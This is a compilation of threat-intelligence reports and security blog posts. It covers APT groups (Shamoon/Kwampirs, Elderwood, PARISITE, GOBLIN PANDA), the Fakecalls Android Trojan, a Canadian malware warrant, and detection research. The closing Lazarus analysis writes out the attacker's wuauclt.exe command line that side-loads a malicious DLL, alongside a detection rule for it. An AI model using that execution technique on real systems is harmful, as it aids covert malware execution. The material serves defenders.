many reports on its activities, ranging from zero-day usage to custom malware it has developed, such as Zebrocy. However, the UEFI rootkit component described above is in a league of its own. The LoJax campaign shows that high-value targets are prime candidates for the deployment of rare, even unique threats and such targets should always be on the lookout for signs of compromise. Also, one thing that this research taught us is that it is always important to dig as deep as you can go!
# Researchers Find New Evidence Linking Kwampirs Malware to Shamoon APT Hackers New findings released last week showcase the overlapping source code and techniques between the operators of Shamoon and Kwampirs, indicating that they "are the same group or really close collaborators." "Research evidence shows identification of co-evolution between both Shamoon and Kwampirs malware families during the known timeline," Pablo Rincón Crespo of Cylera Labs said. "If Kwampirs is based on the original Shamoon, and Shamoon 2 and 3 campaign code is based on Kwampirs, […] then the authors of Kwampirs would be potentially the same as the authors of Shamoon, or must have a very strong relationship, as has been seen over the course of many years," Rincón Crespo added. Shamoon, also known as DistTrack, functions as an information-stealing malware that also incorporates a destructive component that allows it to overwrite the Master Boot Record (MBR) with arbitrary data so as to render the infected machine inoperable. The malware, developed by the eponymous hacking crew also tracked as Magic Hound, Timberworm, COBALT GIPSY, was first documented by Broadcom-owned Symantec in August 2012. At least two updated versions of Shamoon have since emerged, Shamoon 2 in 2016 and Shamoon 3 in 2018. In July 2021, the U.S. government attributed Shamoon as the handiwork of Iranian state-sponsored actors, linking it to cyber offensives targeting industrial control systems. On the other hand, attack activity involving the Kwampirs backdoor has been connected to a threat group known as Orangeworm, with Symantec disclosing an intrusion campaign aimed at entities in the healthcare sector in the U.S., Europe, and Asia. "First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims," Symantec said in an analysis in April 2018. Cylera Labs' uncovering of the connection stems from malware artifacts and previously unnoticed components, one of which is said to be an intermediary "stepping stone" version. It's a Shamoon dropper but sans the wiper feature, while simultaneously reusing the same loader code as Kwampirs. What's more, code-level similarities have been uncovered between Kwampirs and subsequent versions of Shamoon. This includes the functionality to retrieve system metadata, fetch MAC address, and the victim's keyboard layout information as well as the use of the same InternetOpenW Windows API to craft HTTP requests to the command-and-control (C2) server. Also put to use is a common template system to create the reporter module that houses capabilities to upload host information and download additional payloads to execute from their C2 servers, a feature that was missing in the first version of Shamoon. In connecting the disparate dots, the investigation has led to the assessment that Kwampirs is likely based on Shamoon 1 and that Shamoon 2 inherited some of its code from Kwampirs, implying that the operators of both the malware are different sub-groups of a larger umbrella group or that it's the work of a single actor. Such a claim isn't without precedence. Just last week, Cisco Talos detailed the TTPs of another Iranian actor called MuddyWater, noting that the nation-state actor is a "conglomerate" of multiple teams operating independently rather than a single threat actor group. "These conclusions, if indeed correct, would recast Kwampirs as a large-scale, multi-year attack on global healthcare supply chains conducted by a foreign state actor," the researchers concluded. "The data gathered and systems accessed in these campaigns have a wide range of potential usage, including theft of intellectual property, gathering of medical records of targets like dissidents or military leaders, or reconnaissance to aid in the planning of future destructive attacks."
# The Elderwood Project ## Overview In 2009, Google was attacked by a group using the Hydraq (Aurora) Trojan horse. Symantec has monitored this group’s activities for the last three years as they have consistently targeted a number of industries. Interesting highlights in their method of operations include: the use of seemingly an unlimited number of zero-day exploits, attacks on supply chain manufacturers who service the target organization, and a shift to “watering hole” attacks (compromising certain websites likely to be visited by the target organization). The targeted industry sectors include, but are not restricted to; defense, various defense supply chain manufacturers, human rights and non-governmental organizations (NGOs), and IT service providers. These attackers are systematic and re-use components of an infrastructure we have termed the “Elderwood platform.” The name “Elderwood” comes from a source code variable used by the attackers. This attack platform enables them to quickly deploy zero-day exploits. Attacks are deployed through spear phishing emails and also, increasingly, through web injections in watering hole attacks. Although there are other attackers utilizing zero-day exploits (for example, the Sykipot, Nitro, or even Stuxnet), we have seen no other group use so many. The number of zero-day exploits used indicates access to a high level of technical capability. Here are just some of the most recent exploits that they have used: - Adobe Flash Player Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779) - Microsoft Internet Explorer Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875) - Microsoft XML Core Services Remote Code Execution Vulnerability (CVE-2012-1889) - Adobe Flash Player Remote Code Execution Vulnerability (CVE-2012-1535) It is likely the attackers have gained access to the source code for some widely used applications, or have thoroughly reverse-engineered the compiled applications in order to discover these vulnerabilities. The vulnerabilities are used as needed, often within close succession of each other if exposure of any of the vulnerabilities is imminent. The scale of the attacks, in terms of the number of victims and the duration of the attacks, are another indication of the resources available to the attackers. Victims are attacked, not for petty crime or theft, but for the wholesale gathering of intelligence and intellectual property. The resources required to identify and acquire useful information—let alone analyze that information—could only be provided by a large criminal organization, attackers supported by a nation state, or a nation state itself. ## Background Serious zero-day vulnerabilities, which are exploited in the wild and affect a widely used piece of software, are relatively rare; there were approximately eight in 2011. The past few months, however, have seen four such zero-day vulnerabilities actively exploited in the wild. Two of the zero-day exploits were in Adobe Flash, the other two in Internet Explorer. In April 2012, we identified seven different Trojans that were being used in conjunction with CVE-2012-0779. Within one month, two more zero-day exploits were identified in the wild. These were CVE-2012-1875 and CVE-2012-1889. The timing of the release of these three exploits was suspicious. As soon as one had been identified, the next became active. We investigated the three exploits and found connections between them all. In the past few weeks, yet another zero-day exploit was detected in the wild, CVE-2012-1535. We have tied this zero-day exploit back to all the others. They may only be the tip of the iceberg. In early 2010, Google documented an attack against their infrastructure. They stated that they were attacked in December 2009 and that the attacks originated in China. The attackers utilized a Trojan called Hydraq (also known as Aurora), which was delivered using an Internet Explorer zero-day exploit. We believe the Hydraq attack and the recent attacks that exploit the vulnerabilities outlined above are linked. In March 2011, at least two Adobe Flash zero-day attacks were utilized in similar attacks against the same types of victims. In September 2011, yet another Adobe Flash zero-day exploit was used to attack visitors to the Amnesty International Hong Kong site. The very same website was again compromised in the most recent set of attacks. Our analysis shows that a single group has been using these zero-day exploits, along with others over the past couple of years, in targeted attacks against individuals, companies, governments, and even entire sectors. A timeline for these various zero-day exploits is shown in Figure 1. The attacks conducted by this group are carried out using several different techniques. One of the methods used, called a watering hole attack, is a clear shift in their method of operations. The concept of the attack is similar to a predator waiting at a watering hole in a desert. The predator knows that victims will eventually have to come to the watering hole, so rather than go hunting, he waits for his victims to come to him. Similarly, attackers find a website that caters to a particular audience in which the attackers are interested. For example, people who visit the Amnesty International Hong Kong website are most likely visiting because they are interested in human rights issues in Hong Kong. Having identified this website, the attackers hack into it using a variety of means. For example, the site may be vulnerable to a SQL injection, or perhaps the attackers compromise the machine of an individual with publishing rights to the website. The attackers then inject an exploit onto public pages of the website that are hopefully visited by their ultimate target. Any visitor susceptible to the exploit is compromised and a backdoor Trojan is installed onto their computer. The attacker then has complete control over the victim’s computer. Three of the most recent zero-day exploits were used in watering hole attacks, an indication that this approach is gaining momentum. The more traditional technique is to send a “spear-phishing” email, containing an attachment, to the target. That attachment is a document containing an exploit which, when opened, then drops a Trojan onto the target computer. This works if the exploit is embeddable in a document. If not, then an alternative approach is to host the exploit on a web server and then email the target with a link to that web server. The link used is quite unique; it is not hosted on a common website, so it will only be encountered by the chosen target. When the target clicks on the link, the exploit is triggered and a backdoor is installed. The Elderwood gang has shown their resourcefulness over the past few years by leveraging a large number of zero-day vulnerabilities. The full list of vulnerabilities is shown below. ### Table 1: Zero-day vulnerabilities associated with the Elderwood gang | CVE | BID | Description | Application | |-------------|-------|-----------------------------------------------------------------------------|---------------------------| | 2012-0779 | 53395 | Object Type Confusion Remote Code Execution Vulnerability | Adobe Flash Player | | 2012-1875 | 53847 | Same ID Property Remote Code Execution Vulnerability | Microsoft Internet Explorer| | 2012-1889 | 53934 | Remote Code Execution Vulnerability | Microsoft XML Core Services| | 2012-1535 | 55009 | Remote Code Execution Vulnerability | Adobe Flash Player | | 2011-0609 | 46860 | 'SWF' File Remote Memory Corruption Vulnerability | Adobe Flash Player | | 2011-0611 | 47314 | 'SWF' File Remote Memory Corruption Vulnerability | Adobe Flash Player | | 2011-2110 | 48268 | Adobe Flash Player Remote Memory Corruption Vulnerability | Adobe Flash Player | | 2010-0249 | 37815 | 'srcElement()' Remote Code Execution Vulnerability | Internet Explorer | We have analyzed four of the most recent exploits (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889, and CVE-2012-1535) and their associated malicious documents, the Trojans, and the infrastructure utilized in the attacks. There are several common features used in the attacks. Some of these features hint at the potential infrastructure, or platform, developed to support these attacks. From this analysis, we have identified an increase in watering hole attacks by this group and developed a theory describing the possible infrastructure the attackers are utilizing. We also describe the various targeted industry sectors and provide evidence that a single gang is most likely to be behind the attacks. ## Targets The targets of the four recent zero-day exploits were attacked through both email (CVE-2012-0779 and CVE-2012-1535) and web vectors (CVE-2012-0779, CVE-2012-1875, and CVE-2012-1889). Identifying the target profile and related industry to which the target belongs is straightforward when email is used in an attack. Identifying the profile of the targets when the web is used as the attack vector is difficult. For example, if an aeronautical website was compromised, the attackers may be trying to infect visitors from the defense industry, the aeronautical company employees themselves, or perhaps visitors from other aeronautical companies. For our analysis, we have had to presume that the industry sector being targeted is the same as that of the watering hole website, understanding that in reality this may not always be the case. The primary targets identified are defense, or more precisely manufacturers that are in the defense supply chain. These are companies who manufacture electronic or mechanical components which are then sold to top-tier defense companies. The attackers may use the manufacturers as a stepping stone to gain access to top-tier defense contractors, or obtain intellectual property used in the production of parts that make up larger products produced by a top-tier defense company. The second most common target is the general area of human rights, or non-governmental organizations (NGOs). A number of websites generally relating to religion, Taiwan, Hong Kong, and China were compromised for this purpose. The CVE-2012-1875 exploit is almost exclusively used in this target sector, with some crossover from the CVE-2012-1889 exploit. The remaining target sectors include finance, energy (oil/gas), education, and government. There are a number of outlier victims, such as a hotel jobs site, which may have simply been targeted in error and are collateral damage. The vast majority of detections are in the United States. ## Escalation of Watering Hole Attacks As we have noted earlier, the number of watering hole attacks has been on the increase. The attacks begin with an attacker locating a vulnerability on a chosen website. This vulnerability allows the attacker to insert some JavaScript, or HTML, into the website. That piece of code contains a link, or iFrame, which points to another web page that actually hosts exploit code for the chosen vulnerability. When a user connects to the hacked website, they are automatically referred to the malicious web page which exploits a vulnerability allowing the attacker to install malware onto the victim’s computer. Once the iFrame and malicious code are in place on the server, the attacker does not need to do anything but simply wait for victims to browse to the website, or visit the watering hole, and become infected. Web injection attacks are not new and are commonly used in cybercrime. The difference between their use in cybercrime and in watering hole attacks is down to the choice of websites to compromise and use in the attacks. In a mass injection attack, criminals will indiscriminately compromise any website they can, but in watering hole attacks, the attackers are focused. They choose websites within a particular sector so as to infect persons of interest who likely work in that same sector and are likely to therefore visit related websites. Targeting a specific website is much more difficult than merely locating websites that contain a vulnerability. The attacker has to research and probe for a weakness on the chosen website. Indeed, in watering hole attacks, the attackers may compromise a website months before they actually use it in an attack. Once compromised, the attackers periodically connect to the website to ensure that they still have access. This way, the attackers can infect a number of websites in one stroke, thus preserving the value of their zero-day exploit. They are even in a position to inspect the website logs to identify any potential victims of interest. This technique ensures that they obtain the maximum return for their valuable zero-day exploit. Although watering hole attacks have been known about since approximately March of 2011, the activity outlined in this report marks a substantial increase. Three zero-day exploits, CVE-2012-0779, CVE-2012-1875, and CVE-2012-1889 have all been used within a 30-day period to serve up backdoor Trojans from compromised websites. ## Attack Platform The attackers have leaked snippets of information that hint at the type of infrastructure that is likely to be used to implement these attacks. All attacks require a Trojan to infect the target computer. This Trojan is packaged with a packer and also the address of the command-and-control (C&C) server. The next step is to deliver that packaged Trojan to the target. Delivery is either through an email or a web-based vector. We have identified two distinct elements in the delivery vector that demonstrate the potential attack infrastructure. ### Document Creation Kit The attackers often delivered their malicious code via documents attached to email. Based on our analysis, we believe the attackers have built a tool that easily allows them to automatically construct documents containing different payloads. The tool is able to take an arbitrary clean document file, specific exploit code, and a Trojan, and bundle them together to create a malicious document ready to be used in the next attack. This tool is one component of the Elderwood platform. The use of such a tool can be readily seen in samples that exploit the CVE-2012-0779 vulnerability where multiple document files were encoded in the same manner, but the Trojan payload differed. ### Shared SWF File Another component used in the attacks is a Shockwave Flash (SWF) file. Often, to ensure reliable execution of exploit code, code must be placed in the right areas of computer memory. In addition, exploit code often performs the same task of downloading a Trojan from a remote website for execution. Instead of developing code to perform these tasks for each different exploit, the attackers have developed a common SWF file that is used solely to create the correct conditions in memory and accepts a parameter specifying where to download the Trojan. In some attacks, the parameter name was “Elderwood.” The same SWF file was seen used when exploiting three different vulnerabilities (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889). By using a common SWF file, the attackers can simply deploy a new trigger, that is, a zero-day exploit, and the SWF handles the rest of the work, retrieving and decoding the backdoor Trojan. These various reusable components collectively make up the Elderwood attack platform. There is no doubt that there are several other components that the attackers use in their various processes as well. Other possible components of the attack platform may include: - A tool for the automated creation of accounts on web-based email services - Automated registration of domain names - Information gathering on targets – searching for, and consolidating data on, a victim to identify potential website targets and relevant topics for email content - An analysis platform for stolen information The reuse of the identified components gives clues as to how the attackers may divide the labor amongst themselves. Technically skilled hackers (researchers) create exploits, document creation kits, reusable trigger code (the SWF files), and compromise websites, and these are then made available to less technical attackers. These attackers (attack operators) are likely responsible for identifying targets and delivering the attack payload using the tools and infrastructure provided to them. Once a target has been compromised, the less skilled attack operators can then proceed to move through the compromised network, identifying data of interest. The level of technical skill required to move through a compromised network is much lower than that required to establish the initial penetration. ## Connecting the Dots The investigation into the various exploits began with a deep analysis of CVE-2012-0779. From this analysis, we identified several Trojans which were dropped from documents utilizing the exploit. These Trojans helped us begin the process of establishing links between the various zero-day exploits. The code in one of those Trojans was obfuscated in a certain way. This same obfuscation was used on a Trojan dropped by CVE-2012-1875, establishing a link between the use of these two exploits. Going back in time, the Hydraq Trojan also displayed this obfuscation. Additional links joining the various exploits together included a shared command-and-control infrastructure. Trojans dropped by different exploits were connecting to the same servers to retrieve commands from the attackers. Some compromised websites used in the watering hole attacks had two different exploits injected into them one after the other. Yet another connection is the use of similar encryption in documents and malicious executables. A technique used to pass data to a SWF file was reused in multiple attacks. Finally, the same family of Trojan was dropped from multiple different exploits. ## Conclusion Simple targeted attacks are quite common. Most (the Taidoor attackers for example) reuse exploits and are relatively simple to block, if one ensures that one’s network and software is regularly patched. Somewhat more sophisticated attackers use zero-day exploits. The Elderwood hackers use multiple zero-day exploits, multiple Trojans, and multiple delivery vectors. They are responsible for compromising numerous websites, corporations, and individuals over the past three years. This group is focused on wholesale theft of intellectual property and clearly has the resources, in terms of manpower, funding, and technical skills, required to implement this task. Although we have not conclusively established a connection between the most recent exploits and those used in attacks in 2011, there are similarities. Apart from the technical features in common, as mentioned previously (URL encoding), there is a noticeable similarity in the timing of the attacks and the types of vulnerabilities used between the 2012 and 2011 attacks. Both sets of attacks used multiple zero-day exploits one after the other, sometime around April to August, and both sets of attacks exploit Adobe Flash and Internet Explorer. It may be the case that these initial “penetration” attacks are launched over a fixed period of time (several months from approximately April to August). After this initial compromise, the attackers consolidate their beachhead and begin to analyze the stolen information, spreading through networks and maintaining access as needed. By analyzing the information gathered, the attackers can identify yet more targets of interest. They may also eventually be detected and evicted from a compromised network. In later attacks, newly identified targets can be attacked and old victims can be targeted again. If this is the case, then companies and individuals need to be on their guard. Any manufacturers who are in the defense supply chain need to be wary of attacks emanating from subsidiaries, business partners, and associated companies. It is possible that those trusted companies were compromised by the attackers who are then using them as a stepping-stone to the true intended target. Companies and individuals should prepare themselves for a new round of attacks in 2013 utilizing both Adobe Flash and Internet Explorer zero-day exploits. This is particularly the case for companies who have been compromised in the past and managed to evict the attackers. The knowledge that the attackers gained in their previous compromise will assist them in any future attacks.
# Fakecalls: a talking Trojan A Trojan that masquerades as a banking app and imitates phone conversations with bank employees. **Igor Golovin** **April 11, 2022** Cybercriminals are always coming up with ever more sophisticated malware. Last year, for example, saw the appearance of an unusual banking Trojan called Fakecalls. Besides the usual spying features, it has an interesting ability to “talk” with the victim in the guise of a bank employee. There is little information about Fakecalls online, so we decided to shed some light on its capabilities. ## Trojan in disguise Fakecalls mimics the mobile apps of popular Korean banks, among them KB (Kookmin Bank) and KakaoBank. Curiously, in addition to the usual logos, the Trojan’s creators display the support numbers of the respective banks on the Fakecalls screen. These phone numbers appear to be real — the number 1599-3333, for instance, can be found on the main page of the KakaoBank official website. When installed, the Trojan immediately requests a whole host of permissions, including access to contacts, microphone and camera, geolocation, call handling, and so on. ## Calling the bank Unlike other banking Trojans, Fakecalls can imitate phone conversations with customer support. If the victim calls the bank’s hotline, the Trojan discreetly breaks the connection and opens its own fake call screen instead of the regular calling app. The call appears to be normal, but in fact the attackers are now in control. The only thing that might give away the Trojan at this stage is the fake call screen. Fakecalls has only one interface language: Korean. This means that if another system language is selected on the phone — say, English — the victim will likely smell a rat. After the call is intercepted, there are two possible scenarios. In the first, Fakecalls connects the victim directly with the cybercriminals, since the app has permission to make outgoing calls. In the second, the Trojan plays prerecorded audio imitating the standard greeting from the bank. So that the Trojan maintains a realistic dialogue with the victim, the cybercriminals have recorded several phrases (in Korean) typically uttered by voicemail or call-center employees. For example, the victim might hear something like this: “Hello. Thank you for calling KakaoBank. Our call center is currently receiving an unusually large volume of calls. A consultant will speak to you as soon as possible. <...> To improve the quality of the service, your conversation will be recorded.” Or: “Welcome to Kookmin Bank. Your conversation will be recorded. We will now connect you with an operator.” After that, the attackers, under the guise of a bank employee, can try to coax payment data or other confidential information out of the victim. ## Spyware toolkit In addition to mimicking telephone customer support, Fakecalls has features more typical of banking Trojans. For example, at the attackers’ command, the malware can turn on the victim’s phone’s microphone and send recordings from it to their server, as well as secretly broadcast audio and video from the phone in real time. That’s not all. Remember the permissions the Trojan asked for during installation? The cybercriminals can use them to determine the device’s location, copy the contacts list or files (including photos and videos) from the phone to their server, and access the call and text message history. These permissions allow the malware not only to spy on the user, but to control their device to a certain extent, giving the Trojan the ability to drop incoming calls and delete them from the history. This allows the scammers, among other things, to block and hide real calls from banks. Kaspersky solutions detect this malware with the verdict Trojan-Banker.AndroidOS.Fakecalls, and safeguards the device. ## How to stay protected To prevent your personal data and money from falling into cybercriminal hands, follow these simple tips: - Download apps only from official stores and do not allow installations from unknown sources. Official stores run checks on all programs, and even if malware still sneaks in, it usually gets promptly removed. - Pay attention to what permissions apps ask for and whether they really need them. Don’t be afraid to deny permissions, especially potentially dangerous ones like access to calls, text messages, accessibility and so on. - Never give confidential information over the phone. Real bank employees will never ask for your online banking login credentials, PIN, card security code or confirmation codes from text messages. If in doubt, go to the bank’s official website and find out what employees can and cannot ask about. - Install a robust solution that protects all your devices from banking Trojans and other malware.
# CRTC and RCMP National Division Execute Warrants in Malware Investigation Canadian Radio-television and Telecommunications Commission Yesterday, the CRTC and the Royal Canadian Mounted Police (RCMP) National Division each executed a warrant at a residence located in the Greater Toronto Area. The operation is part of an international coordinated effort with the Royal Canadian Mounted Police (RCMP), the Federal Bureau of Investigation, and the Australian Federal Police. The warrants were obtained as part of ongoing parallel investigations into Remote Access Trojan (RAT) technology. This type of malicious software (malware) enables remote access to Canadian computers without their users’ consent and can lead to the subsequent installation of other malware and theft of personal information. Tips from international private cyber security firms triggered the investigation. The CRTC does not comment on active investigations, nor does it name the individuals or companies under investigation. Further information will be communicated when the investigation is concluded. ## Quotes “The execution of this warrant illustrates how our enforcement efforts are focused on online malicious activities. We strive to protect Canadians from online threats, and this lengthy and complex investigation is an example of our commitment. We are grateful for the instrumental collaboration we obtained from our domestic and international partners in this case.” — Steven Harroun, Chief Compliance and Enforcement Officer, Canadian Radio-television and Telecommunications Commission ## Quick facts - The CRTC executed a warrant under Canada's Anti-Spam Legislation (CASL) and the RCMP National Division executed a search warrant under the Criminal Code respectively. - The RCMP National Division Cybercrime Investigative Team is currently leading the Criminal Code investigation in Canada. - The CRTC is committed to working with partners in the public and private sectors to enhance information sharing, improve target identification, and coordinate operational responses. - With the assistance of domestic and international partners, the CRTC investigates alleged violations under CASL. - Information collected by the Spam Reporting Centre is used by the CRTC, the Competition Bureau, and the Office of the Privacy Commissioner to enforce CASL. - Canadians and private entities are encouraged to report spam, malware, and other electronic threats to the Spam Reporting Centre. - To protect your devices against online threats, consult the Canadian Centre for Cyber Security. - CASL protects Canadians from online threats while ensuring businesses can continue to compete in the global digital marketplace.
# PARISITE **Threat Activity Group: PARISITE** **Since:** 2017 PARISITE targets various industrial verticals including aerospace, oil and gas, and multiple utilities including water, electric, and gas. PARISITE’s broad geographic targeting includes entities in the US, the Middle East, Europe, and Australia. Although PARISITE appears focused on industrial organizations with industrial control system (ICS) implementations and related entities, its targeting activity also includes government and non-governmental organizations. Dragos identified PARISITE activity targeting ICS-related entities using known virtual private network (VPN) vulnerabilities. These vulnerabilities affect Fortinet, PulseSecure, and Palo Alto Networks VPN appliances. PARISITE’s current focus on targeting vulnerable VPN appliances indicates an interest in initial access to enterprise networks, including industrial networks. PARISITE infrastructure and capabilities date from at least 2017, indicating operations since at least that time. PARISITE uses known open source penetration testing tools for reconnaissance and to establish encrypted communications. This aligns with other activity groups increasingly using publicly available tools and resources as opposed to customized malware once achieving initial access. At this time, PARISITE does not appear to have an ICS-specific disruptive or destructive capability, demonstrating only initial access and enabling further operations for MAGNALLIUM. Dragos threat intelligence leverages the Dragos Platform, our threat operations center, and other sources to provide comprehensive insight into threats affecting industrial control security and safety worldwide. Dragos does not corroborate nor conduct political attribution to threat activity. Dragos instead focuses on threat behaviors and appropriate detection and response. Dragos does not publicly describe ICS activity group technical details except in extraordinary circumstances in order to limit tradecraft proliferation. However, full details on PARISITE and other group tools, techniques, procedures, and infrastructure are available to network defenders via Dragos WorldView.
# High(er) Fidelity Software Supply Chain Attack Detection By Marcus LaFerrera October 26, 2021 Over the last year, many of us have been introduced to the term “Software Supply Chain.” For better or worse, it is now part of our defense vernacular and won’t be going away any time soon. If anything, it has consumed us in many ways and has been the cause of many nights of lost sleep. Well, that could just be us on the SURGe team here at Splunk. Last year, after the Solarwinds Orion supply chain attack, we decided to take a closer look at software supply chain attacks. We knew it would be a challenging subject to tackle, especially considering the wide swath of software, services, infrastructure, people, and all of the other bits and bobs that make up our computing life. It turns out that software supply chain attacks are far more common than we’d like to think. The European Union Agency for Cybersecurity (EINSA) recently published a report detailing about 25 known software supply chain attacks between January 2020 and July of 2021 alone. Over the last few months, we’ve embarked on some research to explore methods to potentially detect supply chain attacks and shed some light on this dark corner of cyber defense. We purposefully limited our scope to methodologies that had the potential to be useful in detecting abnormal activity on critical servers that are terrifying to look at sideways, nevermind patching. Why would we limit our scope so much? Well, it turns out detecting supply chain attacks isn’t easy. It’s actually pretty hard. We also wanted to ensure that whatever the end result was, it would be useful for a majority of our readers, not just the wizards, as Ryan Kovar, leader of the SURGe team, would say. After much deliberation, we came to the conclusion that focusing on JA3 and JA3s hashes would be a fun and perhaps rewarding path forward. What is this magical alphanumeric string I speak of? I’m glad you asked. We won’t go into much detail here, but suffice it to say it is a fairly simple, yet ingenious, method to fingerprint TLS negotiations between a client and a server. I know, you want to know more. Well, we recommend that you check out some amazing research by Lee Brotherson and even more from the fine folks over at Salesforce that open-sourced their JA3 code. After reading that, you should come away with a great understanding of TLS fingerprinting and how JA3 works. ## Can You At Least Show Me Something? Of course! Let’s go over the useful information rather than just talk about our inspirational journey. What would a Splunk blog post be without some screenshots of Splunk? One of the queries we developed uses Splunk’s anomalydetection command. In this query we’re going to simply try to find some anomalous TLS sessions in our Zeek logs coming from our critical server netblock, 192.168.70.0/24. ```spl sourcetype="bro:ssl:json" ja3="*" ja3s="*" src_ip IN (192.168.70.0/24) | anomalydetection method=histogram action=annotate pthresh=0.0001 src_ip, ja3, ja3s | stats sparkline max(log_event_prob) AS "Max Prob", min(log_event_prob) AS "Min Prob", values(probable_cause) AS "Probable Causes", values(dest_ip) AS "Dest IPs", values(server_name) AS "Server Names", values(ja3) AS "JA3", values(src_ip) as "Source IPs" count by ja3s | table "Server Names", "Probable Causes", "Max Prob", "Min Prob", "Dest IPs", ja3s, "JA3", "Source IPs", count | sort "Min Prob" asc ``` Once we run this query, we’ll be able to see that there are some anomalies in the data we should probably take a look at. Namely, the TLS sessions that are reaching out to manic.imperial-stout.org and update.lunarstiiiness.com. To make these results even more useful, we can also include an allow list in our query. This will help to ensure some of the more benign hosts that we would expect to see (such as legitimate software update sessions) aren’t included in our results. Now we’re getting somewhere. All of our suspicious queries have bubbled their way right to the top of our list. Right where suspicious data belongs. ## Great Teaser, Is There More We Can See? We spent a lot of time not only conducting our research, but we also wrote a beautiful white paper that provides far more detail than this blog post. Not enough? No problem. Ryan Kovar and I are also presenting on this very topic at Splunk’s annual conference, .conf21. You can check out our talk Hunting the Known Unknown: Supply Chain Attacks (SEC1745C) to see us in all of our on-screen glory. Still want more? Did I mention that we’ve written a white paper? You can check out all of the queries we’ve developed, along with a few bits of code we developed specifically for this research. One of them being a nifty way to generate anomalous TLS sessions that mimic Zeek SSL logs. Do you want even more? Well then, you’ve come to the right place. You can also play along today, as in right now, with Boss of the SOC (BOTS). A software supply chain scenario was designed and built out by John Stoner, which was integral to our research efforts. If software supply chain in the DevSecOps realm is more your cup of tea, we’d highly suggest you take a look at Dave Herrald and Chris Riley’s talk from this years’ .conf21, Enabling DevSecOps and Securing the Software Factory with Splunk (SEC1108C). They put together a lot of terrific content to better understand how Splunk can be used in your DevSecOps pipeline to better defend against and detect software supply chain attacks. ## One Step Ahead Software supply chain attacks are not going away. As our network defenses improve, adversaries must move up the chain to stay a step ahead of our defenses. This cat and mouse game is the nature of network defense. It’s why we lose sleep, working to think of new and novel ways to help everyone detect adversaries and stay safe. Our research presented here sadly isn’t a silver bullet. It won’t solve the software supply chain problem today, or at all. What it will do however, is provide everyone with another tool and means of staying ahead of adversaries. With any luck, it will also help start a conversation and inspire others to explore interesting avenues of detection, ensuring we can all sleep better at night.
# Goblin Panda Adversary | Threat Actor Profile **Meet CrowdStrike’s Adversary of the Month for August: GOBLIN PANDA** August 29, 2018 Adam Meyers Research & Threat Intel CrowdStrike® first observed GOBLIN PANDA activity in September 2013 when indicators of its activity were discovered on the network of a technology company operating in multiple sectors. Malware variants primarily used by this actor include PlugX and HttpTunnel. This actor focuses a significant amount of its targeting activity on entities in Southeast Asia, particularly Vietnam. Heavy activity was observed in the late spring and early summer of 2014 when tensions between China and other Southeast Asian nations were high, due to conflict over territory in the South China Sea. GOBLIN PANDA targets have been primarily observed in the defense, energy, and government sectors. Last month, CrowdStrike Intelligence observed renewed activity from GOBLIN PANDA targeting Vietnam. As part of this campaign, new exploit documents were identified with Vietnamese-language lures and themes, as well as Vietnam-themed, adversary-controlled infrastructure. Two exploit documents with Vietnamese-language file names were observed with file metadata unique to the GOBLIN PANDA adversary. Decoy content displayed in these incidents used Vietnamese-language Microsoft Office Word documents with training-related themes. These documents did not specifically reference Vietnamese government projects or departments; however, they could still be directed towards Government of Vietnam personnel. When opened, both documents use CVE-2012-0158 exploit code to drop malicious files associated with a previously identified side-loading malware implant, tracked as QCRat by CrowdStrike Falcon® Intelligence™. Both exploit documents used a previously identified legitimate executable, a side-loading implant Dynamic Link Library (DLL), as well as new implant configuration files stored as a .tlb file. Analysis of command and control infrastructure suggests that GOBLIN PANDA is targeting entities in Laos as well. CrowdStrike Intelligence has not directly observed Laotian targeting and cannot confirm targets in Laos for this campaign; however, previous activity linked to GOBLIN PANDA has targeted this country. Given major economic initiatives by China, such as the Belt and Road Initiative and continued dispute over the Paracel Islands, it is unlikely that GOBLIN PANDA will abandon efforts to collect intelligence from Southeast Asian neighbors and businesses operating in that region. There are no known community or industry names associated with this actor. ## Other Known China-based Adversaries - Anchor Panda - Deep Panda - Mustang Panda - Samurai Panda Curious about other nation-state adversaries? Visit our threat actor center to learn about the new adversaries that the CrowdStrike team discovers. To learn more about how to incorporate intelligence on threat actors like GOBLIN PANDA into your security strategy, please visit the Falcon Threat Intelligence page. Want the insights on the latest adversary tactics, techniques, and procedures (TTPs)? Download the CrowdStrike 2020 Global Threat Report.
# Shortcut to Windows Update **Summary** On January 27, 2022, Malwarebytes Labs shared an article covering new tactics including abusing the Windows Update Client for code execution believed to be the work of Lazarus. The purpose of this post will be to cover possible detection points for defenders to identify adversaries misusing the Windows Update Client. The information for the piece of malware this blog will focus on is below: | Filename | File Size | SHA256 | |---------------|-----------|-------------------------------------------------------------------------------------------------| | wuaueng.dll | 227.48KB | 829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1 | ## Shortcut to Success Upon opening the malicious document, a chain of code injections occur and numerous files are dropped to disk. Persistence is achieved via the Word document creating a hidden `C:\Windows\System32` and dropping a shortcut file (LNK) to the Startup folder. The purpose of this shortcut file named `windowsupdateconf.lnk` is to execute the malicious DLL identified above, which is embedded with an additional payload that will communicate with the C2. `wuauclt.exe`, which resides at `C:\Windows\System32`, is intended to be used via the command line and accepts a number of options. More common options that may be seen used with `wuauclt.exe` are: - `/detectnow` - `/resetauthorization` - `/reportnow` The following is to achieve code execution in the LNK file’s target path: `"C:\Windows\system32\wuauclt.exe" /UpdateDeploymentProvider C:\Windows\system32\wuaueng.dll /RunHandlerComServer`. ## Indicators/Detection Looking at the above process creation event output, a few items should jump out to defenders: - The Current Directory is the startup folder as opposed to `cmd.exe`. - The command line options `/UpdateDeploymentProvider` and `/RunHandlerComServer` are used to load a DLL. This should be considered suspicious and warrant a closer look. As discussed earlier, this particular malware makes use of code injection at numerous points during the execution flow. `wuauclt` has injected itself into the `explorer.exe` process. After running a few tests in a lab environment, I could not identify a legitimate purpose for `wuauclt` to inject into `explorer`. Identifying the unusual command-line arguments in Splunk is very simple and can be completed in one line. This is an extremely basic rule, and an additional check for the DLL from well-known paths used by adversaries could be used as well. ``` sysmon EventID 1 AND ParentCommandLine "/UpdateDeploymentProvider" AND "/RunHandlerComServer" AND ParentImage NOT "C:\\Windows\\System32\\cmd.exe" ``` After reading a recent CrowdStrike blog on Microsoft Protection Logging, or MPLog, I wanted to see what events, if any, may be detected during the execution of the LNK file. Unfortunately, Microsoft doesn’t provide a great deal of documentation on the event types 